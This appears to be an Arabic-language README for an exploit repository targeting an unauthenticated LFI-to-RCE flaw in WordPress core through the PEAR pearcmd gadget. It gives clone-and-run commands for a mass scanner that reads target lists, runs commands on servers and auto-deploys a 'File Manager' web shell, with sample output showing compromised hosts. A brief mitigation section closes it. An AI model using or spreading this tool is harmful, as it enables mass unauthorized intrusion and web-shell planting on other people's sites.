---

🔍 نظرة عامة

CVE-2026-87902 هي ثغرة حرجة من نوع تضمين الملفات المحلية (LFI) دون مصادقة في نواة WordPress تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر سلسلة أدوات PEAR.

تقع الثغرة في wp-includes/template.php:get_page_template()، والتي تستخدم متغير الاستعلام العام pagename (المقروء من $_POST) لبناء اسم قالب دون تمريره عبر validate_file(). وبما أن locate_template() تنفذ فقط file_exists()، فإن وجود دليل حقيقي باسم page-* داخل القالب النشط يتيح اجتياز المسار الكامل.

🎯 سلسلة الهجوم

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ الإصدارات المتأثرة

المنتج	الإصدارات المعرّضة للخطر	الإصدارات المُصحّحة
WordPress Core	4.7.0 → 7.1.1	7.1.2+
الخطورة	🔴 حرجة	—
CVSS 4.0	9.8	—
المصادقة	❌ غير مطلوبة	—

---

⚡ البدء السريع

📦 التثبيت

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 التشغيل الأول

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 الاستخدام

📋 الأوضاع المتاحة

الوضع	الأمر	الوصف
🔍 فحص	python main.py -l targets.txt --check	كشف LFI غير المدمّر
💥 LFI	python main.py -l targets.txt	تأكيد LFI باستخدام OPML oracle
⚡ RCE	python main.py -l targets.txt --rce --command "id"	تنفيذ الأوامر عبر PEAR
📁 Shell	python main.py -l targets.txt --rce --shell	نشر File Manager

🔧 خيارات سطر الأوامر

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 أمثلة

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 المخرجات

بعد تشغيل ناجح، تُنشأ الملفات التالية:

الملف	المحتويات
📄 results.txt	سجل الفحص الكامل
🎯 vulnerable.txt	الأهداف التي تم تأكيد إصابتها بـ LFI
💀 rce.txt	الأهداف التي نجح فيها RCE
📁 shells.txt	روابط مدير الملفات

🖥️ نموذج من مخرجات الطرفية

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ التخفيف

إذا كنت مسؤول نظام:

1. حدّث WordPress إلى 7.1.2 أو أحدث
2. طبّق التحديثات الخلفية (backports) لفرعك:
   • 6.8.10، 7.0.6، 7.1.2
3. قاعدة WAF: احظر الطلبات التي تحتوي pagename على ../ أو %2e%2e
4. عطّل register_argc_argv في php.ini (يمنع سلسلة PEAR)
5. احذف pearcmd.php إذا لم تكن بحاجة إلى PEAR

; php.ini
register_argc_argv = Off

---

📞 التواصل